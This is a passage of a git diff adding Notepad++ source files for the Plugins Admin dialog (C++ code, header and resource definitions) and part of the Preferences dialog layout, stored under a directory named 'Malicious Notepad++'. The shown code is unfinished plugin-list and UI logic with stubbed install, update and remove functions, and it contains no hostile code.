(_nppCurrentStatus._nppInstallPath.find(programFilesPath) == 0); + +} + +bool PluginsAdminDlg::installPlugins() +{ + vector indexes = _availableListView.getCheckedIndexes(); + for (auto i : indexes) + { + printStr(_availablePluginList[i]._name .c_str()); + } + return true; +} + +bool PluginsAdminDlg::updatePlugins() +{ + vector indexes = _updateListView.getCheckedIndexes(); + for (auto i : indexes) + { + printStr(_updatePluginList[i]._fullFilePath.c_str()); + } + return true; +} + +bool PluginsAdminDlg::removePlugins() +{ + vector indexes = _installedListView.getCheckedIndexes(); + for (auto i : indexes) + { + printStr(_installedPluginList[i]._fullFilePath.c_str()); + } + return true; +} + + +bool loadFromJson(vector & pl, const json& j) +{ + if (j.empty()) + return false; + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + + json jArray = j["npp-plugins"]; + if (jArray.empty() || jArray.type() != json::value_t::array) + return false; + + for (const auto& i : jArray) + { + try { + PluginUpdateInfo pi; + + string valStr = i.at("folder-name").get(); + pi._name = wmc->char2wchar(valStr.c_str(), CP_ACP); + + valStr = i.at("display-name").get(); + pi._alias = wmc->char2wchar(valStr.c_str(), CP_ACP); + + valStr = i.at("author").get(); + pi._author = wmc->char2wchar(valStr.c_str(), CP_ACP); + + valStr = i.at("description").get(); + pi._description = wmc->char2wchar(valStr.c_str(), CP_ACP); + + valStr = i.at("repository").get(); + pi._repository = wmc->char2wchar(valStr.c_str(), CP_ACP); + + valStr = i.at("homepage").get(); + pi._homepage = wmc->char2wchar(valStr.c_str(), CP_ACP); + + + pl.push_back(pi); + } + catch (...) // Every field is mandatory. If one of property is missing, an exception is thrown then this plugin will be ignored + { + continue; + } + } + return true; +} + + + +bool PluginsAdminDlg::updateListAndLoadFromJson() +{ + // check on default location : %APPDATA%\Notepad++\plugins\config\pl\pl.json or NPP_INST_DIR\plugins\config\pl\pl.json + + + // if absent then download it + + + // check the update of pl.json + + + // download update if present + + // check integrity of pl.json + + // load pl.json + // + generic_string nppPluginListJsonPath = TEXT("C:\\tmp\\nppPluginList.json"); + ifstream nppPluginListJson(nppPluginListJsonPath); + json pluginsJson; + nppPluginListJson >> pluginsJson; + + // initialize available list view + loadFromJson(_availablePluginList, pluginsJson); + updateAvailableListView(); + + // initialize update list view + checkUpdates(); + updateUpdateListView(); + + // initialize installed list view + loadFromPluginInfos(); + updateInstalledListView(); + + return true; +} + +void PluginsAdminDlg::updateAvailableListView() +{ + size_t i = 0; + // + for (const auto& pui : _availablePluginList) + { + vector values2Add; + values2Add.push_back(pui._name); + Version v = pui._version; + values2Add.push_back(v.toString()); + values2Add.push_back(TEXT("Yes")); + _availableListView.addLine(values2Add, i++); + } +} + +void PluginsAdminDlg::updateInstalledListView() +{ + size_t i = 0; + // + for (const auto& lpi : _installedPluginList) + { + vector values2Add; + values2Add.push_back(lpi._name); + Version v = lpi._version; + values2Add.push_back(v.toString()); + values2Add.push_back(TEXT("Yes")); + _installedListView.addLine(values2Add, i++); + } +} + +void PluginsAdminDlg::updateUpdateListView() +{ + size_t i = 0; + // + for (const auto& pui : _updatePluginList) + { + vector values2Add; + values2Add.push_back(pui._name); + Version v = pui._version; + values2Add.push_back(v.toString()); + values2Add.push_back(TEXT("Yes")); + _updateListView.addLine(values2Add, i++); + } +} + +PluginUpdateInfo::PluginUpdateInfo(const generic_string& fullFilePath, const generic_string& filename) +{ + if (not::PathFileExists(fullFilePath.c_str())) + return; + + _fullFilePath = fullFilePath; + _name = filename; + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + const char *path = wmc->wchar2char(fullFilePath.c_str(), CP_ACP); + MD5 md5; + _id = wmc->char2wchar(md5.digestFile(path), CP_ACP); + + _version.setVersionFrom(fullFilePath); + +} + +bool PluginsAdminDlg::loadFromPluginInfos() +{ + if (!_pPluginsManager) + return false; + + for (const auto& i : _pPluginsManager->_loadedDlls) + { + PluginUpdateInfo pui(i._fullFilePath, i._fileName); + _installedPluginList.push_back(pui); + } + + return true; +} + +bool PluginsAdminDlg::checkUpdates() +{ + return true; +} + +// begin insentive-case search from the second key-in character +bool PluginsAdminDlg::searchInPlugins(bool isNextMode) const +{ + const int maxLen = 256; + TCHAR txt2search[maxLen]; + ::GetDlgItemText(_hSelf, IDC_PLUGINADM_RESEARCH_EDIT, txt2search, maxLen); + if (lstrlen(txt2search) < 2) + return false; + + long foundIndex = searchInNamesFromCurrentSel(txt2search, isNextMode); + if (foundIndex == -1) + foundIndex = searchInDescsFromCurrentSel(txt2search, isNextMode); + + if (foundIndex == -1) + return false; + + _availableListView.setSelection(foundIndex); + + return true; +} + +void PluginsAdminDlg::switchDialog(int indexToSwitch) +{ + generic_string desc; + bool showAvailable, showUpdate, showInstalled; + switch (indexToSwitch) + { + case 0: // available plugins + { + showAvailable = true; + showUpdate = false; + showInstalled = false; + + long infoIndex = _availableListView.getSelectedIndex(); + if (infoIndex != -1 && infoIndex < static_cast(_availablePluginList.size())) + desc = _availablePluginList.at(infoIndex).describe(); + } + break; + + case 1: // to be updated plugins + { + showAvailable = false; + showUpdate = true; + showInstalled = false; + + long infoIndex = _updateListView.getSelectedIndex(); + if (infoIndex != -1 && infoIndex < static_cast(_updatePluginList.size())) + desc = _updatePluginList.at(infoIndex).describe(); + } + break; + + case 2: // installed plugin + { + showAvailable = false; + showUpdate = false; + showInstalled = true; + + long infoIndex = _installedListView.getSelectedIndex(); + if (infoIndex != -1 && infoIndex < static_cast(_installedPluginList.size())) + desc = _installedPluginList.at(infoIndex).describe(); + } + break; + + default: + return; + } + + _availableListView.display(showAvailable); + _updateListView.display(showUpdate); + _installedListView.display(showInstalled); + + ::SetDlgItemText(_hSelf, IDC_PLUGINADM_EDIT, desc.c_str()); + + HWND hInstallButton = ::GetDlgItem(_hSelf, IDC_PLUGINADM_INSTALL); + HWND hUpdateButton = ::GetDlgItem(_hSelf, IDC_PLUGINADM_UPDATE); + HWND hRemoveButton = ::GetDlgItem(_hSelf, IDC_PLUGINADM_REMOVE); + + ::ShowWindow(hInstallButton, showAvailable ? SW_SHOW : SW_HIDE); + if (showAvailable) + { + vector checkedArray = _availableListView.getCheckedIndexes(); + showAvailable = checkedArray.size() > 0; + } + ::EnableWindow(hInstallButton, showAvailable); + + ::ShowWindow(hUpdateButton, showUpdate ? SW_SHOW : SW_HIDE); + if (showUpdate) + { + vector checkedArray = _updateListView.getCheckedIndexes(); + showUpdate = checkedArray.size() > 0; + } + ::EnableWindow(hUpdateButton, showUpdate); + + ::ShowWindow(hRemoveButton, showInstalled ? SW_SHOW : SW_HIDE); + if (showInstalled) + { + vector checkedArray = _installedListView.getCheckedIndexes(); + showInstalled = checkedArray.size() > 0; + } + ::EnableWindow(hRemoveButton, showInstalled); +} + +INT_PTR CALLBACK PluginsAdminDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_INITDIALOG : + { + + return TRUE; + } + + case WM_COMMAND : + { + if (HIWORD(wParam) == EN_CHANGE) + { + switch (LOWORD(wParam)) + { + case IDC_PLUGINADM_RESEARCH_EDIT: + { + searchInPlugins(false); + return TRUE; + } + } + } + + switch (wParam) + { + case IDCANCEL : + case IDOK : + display(false); + return TRUE; + + case IDC_PLUGINADM_RESEARCH_NEXT: + searchInPlugins(true); + return true; + + case IDC_PLUGINADM_INSTALL: + installPlugins(); + return true; + + case IDC_PLUGINADM_UPDATE: + updatePlugins(); + return true; + + case IDC_PLUGINADM_REMOVE: + { + removePlugins(); + + return true; + } + + + default : + break; + } + return FALSE; + } + + case WM_NOTIFY : + { + LPNMHDR pnmh = reinterpret_cast(lParam); + if (pnmh->code == TCN_SELCHANGE) + { + HWND tabHandle = _tab.getHSelf(); + if (pnmh->hwndFrom == tabHandle) + { + int indexClicked = int(::SendMessage(tabHandle, TCM_GETCURSEL, 0, 0)); + switchDialog(indexClicked); + } + } + else if (pnmh->hwndFrom == _availableListView.getHSelf() || + pnmh->hwndFrom == _updateListView.getHSelf() || + pnmh->hwndFrom == _installedListView.getHSelf()) + { + ListView* pListView; + vector* pPluginInfos; + int buttonID; + + if (pnmh->hwndFrom == _availableListView.getHSelf()) + { + pListView = &_availableListView; + pPluginInfos = &_availablePluginList; + buttonID = IDC_PLUGINADM_INSTALL; + } + else if (pnmh->hwndFrom == _updateListView.getHSelf()) + { + pListView = &_updateListView; + pPluginInfos = &_updatePluginList; + buttonID = IDC_PLUGINADM_UPDATE; + } + else // pnmh->hwndFrom == _installedListView.getHSelf() + { + pListView = &_installedListView; + pPluginInfos = &_installedPluginList; + buttonID = IDC_PLUGINADM_REMOVE; + } + + LPNMLISTVIEW pnmv = (LPNMLISTVIEW)lParam; + + if (pnmh->code == LVN_ITEMCHANGED) + { + if (pnmv->uChanged & LVIF_STATE) + { + if ((pnmv->uNewState & LVIS_STATEIMAGEMASK) == INDEXTOSTATEIMAGEMASK(2) || // checked + (pnmv->uNewState & LVIS_STATEIMAGEMASK) == INDEXTOSTATEIMAGEMASK(1)) // unchecked + { + HWND hButton = ::GetDlgItem(_hSelf, buttonID); + vector checkedArray = pListView->getCheckedIndexes(); + bool showButton = checkedArray.size() > 0; + + ::EnableWindow(hButton, showButton); + } + else if (pnmv->uNewState & LVIS_SELECTED) + { + size_t infoIndex = pListView->getLParamFromIndex(pnmv->iItem); + generic_string desc = pPluginInfos->at(infoIndex).describe(); + ::SetDlgItemText(_hSelf, IDC_PLUGINADM_EDIT, desc.c_str()); + } + } + } + } + + return TRUE; + } + + case WM_DESTROY : + { + return TRUE; + } + } + return FALSE; +} + diff --git a/Malicious Notepad++/src/WinControls/PluginsAdmin/pluginsAdmin.h b/Malicious Notepad++/src/WinControls/PluginsAdmin/pluginsAdmin.h new file mode 100644 index 0000000..4843b18 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/PluginsAdmin/pluginsAdmin.h @@ -0,0 +1,161 @@ +// This file is part of Notepad++ project +// Copyright (C)2017 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + +#include "StaticDialog.h" +#include "pluginsAdminRes.h" +#include "TabBar.h" +#include "ListView.h" +#include "tinyxml.h" + +class PluginsManager; + +struct Version +{ + unsigned long _major = 0; + unsigned long _minor = 0; + unsigned long _patch = 0; + unsigned long _build = 0; + void setVersionFrom(generic_string filePath); + generic_string toString(); +}; + +struct PluginUpdateInfo +{ + generic_string _fullFilePath; + + generic_string _id; + generic_string _name; + Version _version; + generic_string _homepage; + generic_string _sourceUrl; + generic_string _description; + generic_string _author; + generic_string _md5; + generic_string _alias; + generic_string _repository; + + generic_string describe(); + PluginUpdateInfo() {}; + PluginUpdateInfo(const generic_string& fullFilePath, const generic_string& fileName); +}; + +struct NppCurrentStatus +{ + bool _isAdminMode; // can launch gitup en Admin mode directly + + bool _isInProgramFiles; // true: install/update/remove on "Program files" (ADMIN MODE) + // false: install/update/remove on NPP_INST or install on %APPDATA%, update/remove on %APPDATA% & NPP_INST (NORMAL MODE) + + bool _isAppDataPluginsAllowed; // true: install on %APPDATA%, update / remove on %APPDATA% & "Program files" or NPP_INST + + generic_string _nppInstallPath; + generic_string _appdataPath; + + // it should determinate : + // 1. deployment location : %ProgramFile% %appdata% %other% + // 2. gitup launch mode: ADM ADM NOMAL + bool shouldLaunchInAdmMode() { return _isInProgramFiles; }; +}; + +class PluginsAdminDlg final : public StaticDialog +{ +public : + PluginsAdminDlg() {}; + ~PluginsAdminDlg() { + _availableListView.destroy(); + _updateListView.destroy(); + _installedListView.destroy(); + } + void init(HINSTANCE hInst, HWND parent) { + Window::init(hInst, parent); + }; + + virtual void create(int dialogID, bool isRTL = false, bool msgDestParent = true); + + void doDialog(bool isRTL = false) { + if (!isCreated()) + { + create(IDD_PLUGINSADMIN_DLG, isRTL); + } + + if (!::IsWindowVisible(_hSelf)) + { + + } + display(); + }; + + void switchDialog(int indexToSwitch); + + bool updateListAndLoadFromJson(); // call GitUup for the 1st time + void updateAvailableListView(); + void updateInstalledListView(); + void updateUpdateListView(); + + void setPluginsManager(PluginsManager *pluginsManager) { _pPluginsManager = pluginsManager; }; + void setAdminMode(bool isAdm) { _nppCurrentStatus._isAdminMode = isAdm; }; + + bool installPlugins(); + bool updatePlugins(); + bool removePlugins(); + +protected: + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + +private : + TabBar _tab; + + ListView _availableListView; + ListView _updateListView; + ListView _installedListView; + std::vector _availablePluginList; // All plugins (pluginList.json) - installed plugins + std::vector _updatePluginList; // A list returned by gitup.exe + std::vector _installedPluginList; // for each installed plugin, check its json file + + PluginsManager *_pPluginsManager = nullptr; + NppCurrentStatus _nppCurrentStatus; + + void collectNppCurrentStatusInfos(); + bool searchInPlugins(bool isNextMode) const; + const bool inNames = true; + const bool inDescs = false; + long searchFromCurrentSel(generic_string str2search, bool inWhichPart, bool isNextMode) const; + long searchInNamesFromCurrentSel(generic_string str2search, bool isNextMode) const { + return searchFromCurrentSel(str2search, inNames, isNextMode); + }; + + long searchInDescsFromCurrentSel(generic_string str2search, bool isNextMode) const { + return searchFromCurrentSel(str2search, inDescs, isNextMode); + }; + + bool loadFromPluginInfos(); + bool checkUpdates(); +}; + diff --git a/Malicious Notepad++/src/WinControls/PluginsAdmin/pluginsAdmin.rc b/Malicious Notepad++/src/WinControls/PluginsAdmin/pluginsAdmin.rc new file mode 100644 index 0000000..cca1003 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/PluginsAdmin/pluginsAdmin.rc @@ -0,0 +1,53 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "windows.h" +#include "pluginsAdminRes.h" + +#ifndef IDC_STATIC +#define IDC_STATIC -1 +#endif + +IDD_PLUGINSADMIN_DLG DIALOGEX 36, 44, 500, 300 +STYLE DS_SETFONT | DS_3DLOOK | DS_FIXEDSYS | WS_POPUP | WS_CAPTION | WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW +CAPTION "Plugins Manager" +FONT 8, "MS Shell Dlg", 0, 0, 0x0 +BEGIN + RTEXT "Research: ",IDC_PLUGINADM_RESEARCH_STATIC,50,38,50,8 + EDITTEXT IDC_PLUGINADM_RESEARCH_EDIT,160,35,150,14,ES_AUTOHSCROLL + PUSHBUTTON "Next", IDC_PLUGINADM_RESEARCH_NEXT,332,35,57,14 + PUSHBUTTON "Install", IDC_PLUGINADM_INSTALL,432,35,57,14 + PUSHBUTTON "Update", IDC_PLUGINADM_UPDATE,432,35,57,14 + PUSHBUTTON "Remove", IDC_PLUGINADM_REMOVE,432,35,57,14 + //LISTBOX IDC_PLUGINADM_LISTVIEW,30,20,78,120,LBS_NOINTEGRALHEIGHT | WS_VSCROLL | WS_TABSTOP + EDITTEXT IDC_PLUGINADM_EDIT,30,160,220,80,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | WS_BORDER | WS_VSCROLL + PUSHBUTTON "Close", IDCANCEL,332,270,57,14 + PUSHBUTTON "Settings",IDC_PLUGINADM_SETTINGS_BUTTON,255,270,69,14 +END + diff --git a/Malicious Notepad++/src/WinControls/PluginsAdmin/pluginsAdminRes.h b/Malicious Notepad++/src/WinControls/PluginsAdmin/pluginsAdminRes.h new file mode 100644 index 0000000..f371d73 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/PluginsAdmin/pluginsAdminRes.h @@ -0,0 +1,40 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + + +#define IDD_PLUGINSADMIN_DLG 5500 + #define IDC_PLUGINADM_RESEARCH_STATIC (IDD_PLUGINSADMIN_DLG + 1) + #define IDC_PLUGINADM_RESEARCH_EDIT (IDD_PLUGINSADMIN_DLG + 2) + #define IDC_PLUGINADM_INSTALL (IDD_PLUGINSADMIN_DLG + 3) + #define IDC_PLUGINADM_UPDATE (IDD_PLUGINSADMIN_DLG + 4) + #define IDC_PLUGINADM_REMOVE (IDD_PLUGINSADMIN_DLG + 5) + #define IDC_PLUGINADM_LISTVIEW (IDD_PLUGINSADMIN_DLG + 6) + #define IDC_PLUGINADM_EDIT (IDD_PLUGINSADMIN_DLG + 7) + #define IDC_PLUGINADM_RESEARCH_NEXT (IDD_PLUGINSADMIN_DLG + 8) + #define IDC_PLUGINADM_SETTINGS_BUTTON (IDD_PLUGINSADMIN_DLG + 9) + diff --git a/Malicious Notepad++/src/WinControls/Preference/preference.rc b/Malicious Notepad++/src/WinControls/Preference/preference.rc new file mode 100644 index 0000000..ee7500b --- /dev/null +++ b/Malicious Notepad++/src/WinControls/Preference/preference.rc @@ -0,0 +1,420 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include "preference_rc.h" + +#ifndef IDC_STATIC +#define IDC_STATIC -1 +#endif + +IDD_PREFERENCE_BOX DIALOGEX 0, 0, 560, 220 +STYLE DS_SETFONT | DS_FIXEDSYS | WS_POPUP | WS_CAPTION | WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW | WS_EX_WINDOWEDGE +CAPTION "Preferences" +FONT 8, "MS Shell Dlg", 0, 0, 0x1 +BEGIN + LISTBOX IDC_LIST_DLGTITLE,10,10,80,185,LBS_NOINTEGRALHEIGHT | WS_VSCROLL | WS_HSCROLL | WS_TABSTOP + PUSHBUTTON "Close",IDC_BUTTON_CLOSE,255,200,45,14 +END + +IDD_PREFERENCE_BAR_BOX DIALOGEX 0, 0, 455, 185 +STYLE DS_SETFONT | DS_FIXEDSYS | DS_CONTROL | WS_CHILD +FONT 8, "MS Shell Dlg", 0, 0, 0x1 +BEGIN + GROUPBOX "Localization",IDC_LOCALIZATION_GB_STATIC,57,6,147,35,BS_CENTER + COMBOBOX IDC_COMBO_LOCALIZATION,68,20,119,80,CBS_DROPDOWNLIST | WS_VSCROLL | WS_TABSTOP + GROUPBOX "Toolbar",IDC_TOOLBAR_GB_STATIC,57,45,147,68,BS_CENTER + CONTROL "Hide",IDC_CHECK_HIDE,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,64,55,94,10 + CONTROL "Small icons",IDC_RADIO_SMALLICON,"Button",BS_AUTORADIOBUTTON,64,69,114,10 + CONTROL "Big icons",IDC_RADIO_BIGICON,"Button",BS_AUTORADIOBUTTON,64,83,109,10 + CONTROL "Standard icons",IDC_RADIO_STANDARD,"Button",BS_AUTORADIOBUTTON,64,97,119,10 + GROUPBOX "Document List Panel",IDC_DOCSWITCH_GB_STATIC,57,121,147,41,BS_CENTER + CONTROL "Show",IDC_CHECK_DOCSWITCH,"Button",BS_AUTOCHECKBOX | BS_MULTILINE | WS_TABSTOP,64,131,135,10 + CONTROL "Disable extension column",IDC_CHECK_DOCSWITCH_NOEXTCOLUMN, "Button", BS_AUTOCHECKBOX | BS_MULTILINE | WS_TABSTOP,64,146,124,10 + GROUPBOX "Tab Bar",IDC_TABBAR_GB_STATIC,223,6,176,156,BS_CENTER + CONTROL "Hide",IDC_CHECK_TAB_HIDE,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,229,15,108,10 + CONTROL "Multi-line",IDC_CHECK_TAB_MULTILINE,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,229,29,134,10 + CONTROL "Vertical",IDC_CHECK_TAB_VERTICAL,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,229,43,134,10 + CONTROL "Reduce",IDC_CHECK_REDUCE,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,229,58,108,10 + CONTROL "Lock (no drag and drop)",IDC_CHECK_LOCK,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,229,72,134,10 + CONTROL "Darken inactive tabs",IDC_CHECK_DRAWINACTIVE,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,229,87,134,10 + CONTROL "Draw a coloured bar on active tab",IDC_CHECK_ORANGE, "Button", BS_AUTOCHECKBOX | WS_TABSTOP,229,102,137,10 + CONTROL "Show close button on each tab",IDC_CHECK_ENABLETABCLOSE, "Button", BS_AUTOCHECKBOX | WS_TABSTOP,229,117,133,10 + CONTROL "Double click to close document",IDC_CHECK_DBCLICK2CLOSE, "Button", BS_AUTOCHECKBOX | WS_TABSTOP,229,132,133,10 + CONTROL "Exit on close the last tab",IDC_CHECK_TAB_LAST_EXIT, "Button", BS_AUTOCHECKBOX | WS_TABSTOP,229,147,145,10 + CONTROL "Show status bar",IDC_CHECK_SHOWSTATUSBAR,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,57,169,130,10 + CONTROL "Hide menu bar (use Alt or F10 key to toggle)",IDC_CHECK_HIDEMENUBAR, "Button", BS_AUTOCHECKBOX | BS_MULTILINE | WS_TABSTOP,223,169,218,10 +END + +IDD_PREFERENCE_MARGEIN_BOX DIALOGEX 0, 0, 455, 185 +STYLE DS_SETFONT | DS_FIXEDSYS | DS_CONTROL | WS_CHILD +FONT 8, "MS Shell Dlg", 0, 0, 0x1 +BEGIN + GROUPBOX "Folder Margin Style",IDC_FMS_GB_STATIC,46,44,83,89,BS_CENTER + CONTROL "Simple",IDC_RADIO_SIMPLE,"Button",BS_AUTORADIOBUTTON | WS_GROUP,55,57,59,10 + CONTROL "Arrow",IDC_RADIO_ARROW,"Button",BS_AUTORADIOBUTTON,55,71,60,10 + CONTROL "Circle tree",IDC_RADIO_CIRCLE,"Button",BS_AUTORADIOBUTTON,55,86,62,10 + CONTROL "None",IDC_RADIO_FOLDMARGENONE,"Button",BS_AUTORADIOBUTTON,55,115,61,10 + CONTROL "Box tree",IDC_RADIO_BOX,"Button",BS_AUTORADIOBUTTON,55,100,61,10 + CONTROL "Show vertical edge",IDC_CHECK_SHOWVERTICALEDGE,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,153,56,122,10 + RTEXT "Number of columns :",IDC_NBCOLONE_STATIC,148,104,83,8 + LTEXT "0",IDC_COLONENUMBER_STATIC,238,103,18,8,WS_TABSTOP + GROUPBOX "Vertical Edge Settings",IDC_VES_GB_STATIC,142,44,148,77,BS_CENTER + CONTROL "Line mode",IDC_RADIO_LNMODE,"Button",BS_AUTORADIOBUTTON,156,72,91,10 + CONTROL "Background mode",IDC_RADIO_BGMODE,"Button",BS_AUTORADIOBUTTON,156,86,91,10 + GROUPBOX "Caret Settings",IDC_CARETSETTING_STATIC,46,1,199,40,BS_CENTER + LTEXT "Width :",IDC_WIDTH_STATIC,50,20,37,8,0,WS_EX_RIGHT + COMBOBOX IDC_WIDTH_COMBO,89,18,40,30,CBS_DROPDOWNLIST | WS_VSCROLL | WS_TABSTOP + LTEXT "Blink rate :",IDC_BLINKRATE_STATIC,161,13,60,8 + CONTROL "",IDC_CARETBLINKRATE_SLIDER,"msctls_trackbar32",TBS_AUTOTICKS | TBS_BOTH | TBS_NOTICKS | WS_TABSTOP,156,25,67,13 + LTEXT "S",IDC_CARETBLINKRATE_S_STATIC,225,25,12,8 + LTEXT "F",IDC_CARETBLINKRATE_F_STATIC,144,25,12,8,0,WS_EX_RIGHT + GROUPBOX "Multi-Editing Settings",IDC_MULTISELECTION_GB_STATIC,253,1,140,40,BS_CENTER + CONTROL "Enable (Ctrl+Mouse click/selection)",IDC_CHECK_MULTISELECTION, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,261,18,130,10 + GROUPBOX "Line Wrap",IDC_LW_GB_STATIC,301,44,92,56,BS_CENTER + CONTROL "Default",IDC_RADIO_LWDEF,"Button",BS_AUTORADIOBUTTON | WS_GROUP,311,57,59,10 + CONTROL "Aligned",IDC_RADIO_LWALIGN,"Button",BS_AUTORADIOBUTTON,311,71,60,10 + CONTROL "Indent",IDC_RADIO_LWINDENT,"Button",BS_AUTORADIOBUTTON,311,85,62,10 + GROUPBOX "Border Width",IDC_BORDERWIDTH_STATIC,142,122,148,30,BS_CENTER + CONTROL "",IDC_BORDERWIDTH_SLIDER,"msctls_trackbar32",TBS_AUTOTICKS | TBS_BOTH | TBS_NOTICKS | WS_TABSTOP,145,135,67,13 + LTEXT "0",IDC_BORDERWIDTHVAL_STATIC,213,135,12,8 + CONTROL "No edge",IDC_CHECK_NOEDGE,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,228,135,60,10 + CONTROL "Display line number",IDC_CHECK_LINENUMBERMARGE,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,298,107,141,10 + CONTROL "Display bookmark",IDC_CHECK_BOOKMARKMARGE,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,298,120,150,10 + CONTROL "Enable current line highlighting",IDC_CHECK_CURRENTLINEHILITE, "Button",BS_AUTOCHECKBOX | WS_TABSTOP,298,133,129,10 + CONTROL "Enable smooth font",IDC_CHECK_SMOOTHFONT,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,298,146,129,10 + CONTROL "Enable scrolling beyond last line",IDC_CHECK_SCROLLBEYONDLASTLINE, "Button",BS_AUTOCHECKBOX | WS_TABSTOP,298,159,139,10 + CONTROL "Disable advanced scrolling feature\r(if you have touchpad problem)",IDC_CHECK_DISABLEADVANCEDSCROLL, "Button",BS_AUTOCHECKBOX | BS_MULTILINE | WS_TABSTOP,298,172,139,18 +END + +IDD_PREFERENCE_SETTING_BOX DIALOGEX 0, 0, 455, 185 +STYLE DS_SETFONT | DS_FIXEDSYS | DS_CONTROL | WS_CHILD +FONT 8, "MS Shell Dlg", 0, 0, 0x1 +BEGIN + CONTROL "Enable",IDC_CHECK_ENABLEDOCSWITCHER,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,45,15,140,10 + CONTROL "Enable MRU behaviour",IDC_CHECK_STYLEMRU,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,45,28,140,10 + CONTROL "Peek on tab",IDC_CHECK_ENABLEDOCPEEKER,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,45,58,140,10 + CONTROL "Peek on document map", IDC_CHECK_ENABLEDOCPEEKONMAP,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,45,71,140,10 + CONTROL "Autodetect character encoding",IDC_CHECK_DETECTENCODING, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,37,98,217,10 + CONTROL "Auto-indent",IDC_CHECK_MAINTAININDENT,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,37,113,150,10 + CONTROL "Minimize to system tray",IDC_CHECK_MIN2SYSTRAY,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,37,128,150,10 + CONTROL "Show only filename in title bar",IDC_CHECK_SHORTTITLE, + "Button",BS_AUTOCHECKBOX | BS_MULTILINE | 